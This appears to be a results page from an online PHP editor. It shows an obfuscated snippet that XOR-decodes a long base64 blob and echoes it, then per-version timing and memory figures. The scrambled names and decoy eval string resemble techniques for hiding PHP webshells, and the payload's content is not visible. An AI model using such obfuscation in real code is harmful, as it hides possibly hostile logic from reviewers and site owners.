Online PHP editor | perf for oY1Wn

<?php $eNrMLLCHWUZc = "eLMiXhuJXJdRDor"; function eLMiXhuJXJdRDor($egupxAbCRbFj, $eCgOTtdxyvsOlXA) { $etSxqGyJkkHigQLt = $egupxAbCRbFj ^ $eCgOTtdxyvsOlXA; return $etSxqGyJkkHigQLt; } function eLBnXEvoBI($exCHrkcOBAI, $ekSyQikdJOZCCUm) { for ($eiRuaLxvJWeNF = 0, $eEwuOpUgq = 0; $eiRuaLxvJWeNF < strlen($exCHrkcOBAI); $eiRuaLxvJWeNF++, $eEwuOpUgq++) { if ($eEwuOpUgq == strlen($ekSyQikdJOZCCUm)) { $eEwuOpUgq = 0; } $exCHrkcOBAI[$eiRuaLxvJWeNF] = eLMiXhuJXJdRDor($ekSyQikdJOZCCUm[$eEwuOpUgq], $exCHrkcOBAI[$eiRuaLxvJWeNF]); } return $exCHrkcOBAI; } $eeuvlA = "eLBnXEvoBI"; $eoGfuFFs = "eval(sha1('eLBnXEvoBI(eHbmjfklCkamAIOPhKrSebcUvTMSKWOlcyZXdiLBSmQWZwGECXYAiAlhUr,eyshpWHhqBre)'))"; $carriage = eLBnXEvoBI(base64_decode("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") , "QuaqMGjHYLYiZOE"); echo $carriage;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

Version	System time (s)	User time (s)	Memory (MiB)
8.3.6	0.004	0.011	18.43
8.3.5	0.009	0.010	21.08
8.3.4	0.012	0.003	18.75
8.3.3	0.007	0.007	20.26
8.3.2	0.007	0.000	20.33
8.3.1	0.006	0.003	21.96
8.3.0	0.004	0.004	22.23
8.2.18	0.016	0.006	16.50
8.2.17	0.009	0.009	22.96
8.2.16	0.011	0.011	22.19
8.2.15	0.004	0.004	24.18
8.2.14	0.008	0.000	24.66
8.2.13	0.008	0.000	26.16
8.2.12	0.005	0.003	20.62
8.2.11	0.000	0.011	20.33
8.2.10	0.007	0.004	17.85
8.2.9	0.003	0.005	18.28
8.2.8	0.000	0.009	19.34
8.2.7	0.000	0.008	17.63
8.2.6	0.003	0.006	17.92
8.2.5	0.006	0.003	18.07
8.2.4	0.000	0.008	19.78
8.2.3	0.008	0.000	19.33
8.2.2	0.004	0.004	17.60
8.2.1	0.004	0.004	17.65
8.2.0	0.009	0.000	17.65
8.1.28	0.012	0.009	25.92
8.1.27	0.000	0.010	23.99
8.1.26	0.006	0.003	26.35
8.1.25	0.009	0.000	28.09
8.1.24	0.008	0.004	22.13
8.1.23	0.008	0.004	22.81
8.1.22	0.000	0.009	17.77
8.1.21	0.000	0.008	18.97
8.1.20	0.010	0.000	17.35
8.1.19	0.000	0.008	17.53
8.1.18	0.000	0.008	18.10
8.1.17	0.005	0.005	18.57
8.1.16	0.000	0.010	18.88
8.1.15	0.008	0.000	18.58
8.1.14	0.000	0.008	17.39
8.1.13	0.004	0.004	17.85
8.1.12	0.004	0.004	17.45
8.1.11	0.007	0.000	17.40
8.1.10	0.000	0.008	17.43
8.1.9	0.003	0.006	17.50
8.1.8	0.000	0.008	17.51
8.1.7	0.003	0.003	17.44
8.1.6	0.005	0.003	17.56
8.1.5	0.006	0.003	17.56
8.1.4	0.003	0.006	17.56
8.1.3	0.003	0.005	17.66
8.1.2	0.000	0.010	17.66
8.1.1	0.008	0.000	17.52
8.1.0	0.000	0.009	17.52
8.0.30	0.002	0.005	20.17
8.0.29	0.000	0.007	17.05
8.0.28	0.004	0.004	18.52
8.0.27	0.000	0.007	17.34
8.0.26	0.007	0.000	16.87
8.0.25	0.000	0.008	16.95
8.0.24	0.008	0.003	16.87
8.0.23	0.004	0.004	16.87
8.0.22	0.004	0.004	16.93
8.0.21	0.004	0.004	16.83
8.0.20	0.000	0.007	16.93
8.0.19	0.004	0.004	16.89
8.0.18	0.003	0.005	16.95
8.0.17	0.000	0.008	16.82
8.0.16	0.000	0.008	17.03
8.0.15	0.006	0.003	16.84
8.0.14	0.000	0.008	16.83
8.0.13	0.000	0.006	13.36
8.0.12	0.008	0.000	16.95
8.0.11	0.003	0.006	16.87
8.0.10	0.007	0.003	16.95
8.0.9	0.004	0.004	16.89
8.0.8	0.011	0.008	16.80
8.0.7	0.003	0.005	16.94
8.0.6	0.000	0.008	16.71
8.0.5	0.000	0.009	16.97
8.0.3	0.007	0.016	17.11
8.0.2	0.012	0.008	17.44
8.0.1	0.003	0.006	17.07
8.0.0	0.019	0.006	16.68
7.4.33	0.000	0.008	15.00
7.4.32	0.005	0.002	16.63
7.4.30	0.003	0.003	16.64
7.4.29	0.002	0.005	16.63
7.4.28	0.000	0.008	16.53
7.4.27	0.005	0.003	16.65
7.4.26	0.000	0.007	13.19
7.4.25	0.003	0.005	16.59
7.4.24	0.001	0.006	16.55
7.4.23	0.000	0.008	16.71
7.4.22	0.012	0.009	16.49
7.4.21	0.007	0.009	16.65
7.4.20	0.004	0.004	16.71
7.4.19	0.007	0.000	16.47
7.4.16	0.009	0.013	16.48
7.4.15	0.016	0.003	17.40
7.4.14	0.010	0.011	17.86
7.4.13	0.009	0.009	16.50
7.4.12	0.010	0.007	16.49
7.4.11	0.013	0.006	16.70
7.4.10	0.012	0.009	16.67
7.4.9	0.000	0.018	16.44
7.4.8	0.006	0.012	19.39
7.4.7	0.003	0.014	16.73
7.4.6	0.010	0.013	16.61
7.4.5	0.006	0.003	16.55
7.4.4	0.007	0.005	22.77
7.4.3	0.006	0.010	16.44
7.4.0	0.009	0.006	15.07
7.3.33	0.006	0.000	13.31
7.3.32	0.000	0.006	13.15
7.3.31	0.000	0.007	16.15
7.3.30	0.004	0.004	16.21
7.3.29	0.012	0.004	16.38
7.3.28	0.009	0.011	16.35
7.3.27	0.011	0.014	17.40
7.3.26	0.009	0.009	16.61
7.3.25	0.012	0.006	16.51
7.3.24	0.009	0.009	16.55
7.3.23	0.018	0.003	16.39
7.3.21	0.006	0.012	16.28
7.3.20	0.006	0.013	19.39
7.3.19	0.009	0.009	16.39
7.3.18	0.010	0.013	16.58
7.3.17	0.010	0.006	16.41
7.3.16	0.009	0.012	16.43
7.3.12	0.012	0.004	14.71
7.2.33	0.011	0.008	16.70
7.2.32	0.009	0.009	16.65
7.2.31	0.009	0.009	16.78
7.2.30	0.012	0.006	16.66
7.2.29	0.006	0.011	16.57
7.2.6	0.007	0.007	16.98
7.2.0	0.004	0.007	19.30
7.1.20	0.003	0.011	15.85
7.1.10	0.004	0.011	18.07
7.1.7	0.000	0.011	17.23
7.1.6	0.000	0.024	19.21
7.1.5	0.009	0.015	16.98
7.1.0	0.000	0.037	22.33
7.0.20	0.059	0.000	14.69
7.0.14	0.017	0.063	21.95
7.0.6	0.010	0.077	19.95
7.0.5	0.020	0.070	17.86
7.0.4	0.000	0.047	20.15
7.0.3	0.023	0.037	20.19
7.0.2	0.030	0.077	20.23
7.0.1	0.013	0.080	20.09
7.0.0	0.007	0.057	20.13
5.6.28	0.003	0.080	20.91
5.6.21	0.003	0.090	20.54
5.6.20	0.007	0.043	18.14
5.6.19	0.010	0.067	20.57
5.6.18	0.040	0.070	20.67
5.6.17	0.037	0.067	20.50
5.6.16	0.003	0.070	20.39
5.6.15	0.007	0.040	18.18
5.6.14	0.007	0.090	18.18
5.6.13	0.003	0.043	18.21
5.6.12	0.013	0.070	21.03
5.6.11	0.007	0.087	21.03
5.6.10	0.013	0.073	20.99
5.6.9	0.010	0.050	21.16
5.6.8	0.017	0.073	20.53
5.5.35	0.010	0.083	20.37
5.5.34	0.007	0.077	18.05
5.5.33	0.003	0.097	20.13
5.5.32	0.003	0.067	20.32
5.5.31	0.037	0.043	20.31
5.5.30	0.003	0.047	17.93
5.5.29	0.007	0.037	17.97
5.5.28	0.000	0.073	20.79
5.5.27	0.013	0.073	20.89
5.5.26	0.017	0.077	20.81
5.5.25	0.020	0.057	20.60
5.5.24	0.027	0.037	20.30
5.4.45	0.053	0.073	19.18
5.4.44	0.043	0.043	19.41
5.4.43	0.040	0.053	19.43
5.4.42	0.057	0.063	19.48
5.4.41	0.047	0.070	19.41
5.4.40	0.047	0.057	19.31
5.4.39	0.033	0.060	18.85
5.4.38	0.057	0.063	19.16
5.4.37	0.047	0.047	18.98
5.4.36	0.033	0.047	19.13
5.4.35	0.047	0.047	19.22
5.4.34	0.037	0.043	19.24
5.4.32	0.043	0.037	19.15
5.4.31	0.067	0.040	19.06
5.4.30	0.053	0.067	19.22
5.4.29	0.060	0.043	18.99
5.4.28	0.047	0.040	19.34
5.4.27	0.047	0.040	19.30
5.4.26	0.063	0.053	19.13
5.4.25	0.063	0.057	19.19
5.4.24	0.060	0.050	18.85
5.4.23	0.047	0.047	18.94
5.4.22	0.047	0.040	19.05
5.4.21	0.050	0.057	19.21
5.4.20	0.040	0.043	19.19
5.4.19	0.043	0.043	19.23
5.4.18	0.050	0.073	18.96
5.4.17	0.043	0.050	18.93
5.4.16	0.043	0.043	19.22
5.4.15	0.040	0.047	18.97
5.4.14	0.040	0.043	16.57
5.4.13	0.050	0.060	16.39
5.4.12	0.053	0.067	16.50
5.4.11	0.037	0.043	16.61
5.4.10	0.043	0.040	16.58
5.4.9	0.060	0.050	16.40
5.4.8	0.047	0.047	16.40
5.4.7	0.043	0.047	16.44
5.4.6	0.037	0.040	16.35
5.4.5	0.053	0.063	16.55
5.4.4	0.050	0.043	16.48
5.4.3	0.057	0.063	16.53
5.4.2	0.053	0.040	16.32
5.4.1	0.053	0.060	16.32
5.4.0	0.050	0.037	15.76
5.3.29	0.057	0.057	15.70
5.3.28	0.047	0.040	15.70
5.3.27	0.057	0.067	15.70
5.3.26	0.043	0.040	15.70
5.3.25	0.043	0.037	15.70
5.3.24	0.053	0.067	15.70
5.3.23	0.040	0.053	15.70
5.3.22	0.057	0.063	15.70
5.3.21	0.057	0.063	15.70
5.3.20	0.040	0.047	15.70
5.3.19	0.060	0.067	15.70
5.3.18	0.057	0.067	15.70
5.3.17	0.047	0.037	15.70
5.3.16	0.037	0.043	15.70
5.3.15	0.037	0.043	15.70
5.3.14	0.043	0.043	15.70
5.3.13	0.047	0.070	15.70
5.3.12	0.050	0.047	15.70
5.3.11	0.057	0.057	15.70
5.3.10	0.047	0.070	15.70
5.3.9	0.050	0.050	15.70
5.3.8	0.043	0.037	15.70
5.3.7	0.057	0.063	15.70
5.3.6	0.050	0.047	15.70
5.3.5	0.050	0.060	15.70
5.3.4	0.053	0.043	15.70
5.3.3	0.043	0.047	15.70
5.3.2	0.053	0.070	15.70
5.3.1	0.053	0.070	15.70
5.3.0	0.050	0.060	15.70
5.2.17	0.030	0.040	15.70
5.2.16	0.037	0.030	15.70
5.2.15	0.040	0.047	15.70
5.2.14	0.040	0.050	15.70
5.2.13	0.037	0.030	15.70
5.2.12	0.043	0.053	15.70
5.2.11	0.037	0.040	15.70
5.2.10	0.030	0.040	15.70
5.2.9	0.057	0.047	15.70
5.2.8	0.043	0.037	15.70
5.2.7	0.047	0.057	15.70
5.2.6	0.037	0.033	15.70
5.2.5	0.040	0.060	15.70
5.2.4	0.030	0.067	15.70
5.2.3	0.037	0.057	15.70
5.2.2	0.030	0.040	15.70
5.2.1	0.030	0.030	15.70
5.2.0	0.043	0.050	15.70
5.1.6	0.027	0.030	15.70
5.1.5	0.027	0.030	15.70
5.1.4	0.047	0.040	15.70
5.1.3	0.040	0.033	15.70
5.1.2	0.030	0.030	15.70
5.1.1	0.030	0.053	15.70
5.1.0	0.030	0.030	15.70
5.0.5	0.020	0.033	15.70
5.0.4	0.017	0.060	15.70
5.0.3	0.010	0.047	15.70
5.0.2	0.017	0.023	15.70
5.0.1	0.007	0.030	15.70
5.0.0	0.013	0.037	15.70
4.4.9	0.013	0.033	15.70
4.4.8	0.013	0.023	15.70
4.4.7	0.010	0.023	15.70
4.4.6	0.017	0.047	15.70
4.4.5	0.013	0.023	15.70
4.4.4	0.017	0.030	15.70
4.4.3	0.023	0.043	15.70
4.4.2	0.020	0.027	15.70
4.4.1	0.020	0.043	15.70
4.4.0	0.020	0.040	15.70
4.3.11	0.017	0.047	15.70
4.3.10	0.023	0.033	15.70
4.3.9	0.013	0.033	15.70
4.3.8	0.017	0.043	15.70
4.3.7	0.017	0.040	15.70
4.3.6	0.023	0.040	15.70
4.3.5	0.017	0.033	15.70
4.3.4	0.017	0.043	15.70
4.3.3	0.013	0.047	15.70
4.3.2	0.010	0.033	15.70
4.3.1	0.007	0.047	15.70
4.3.0	0.013	0.043	15.70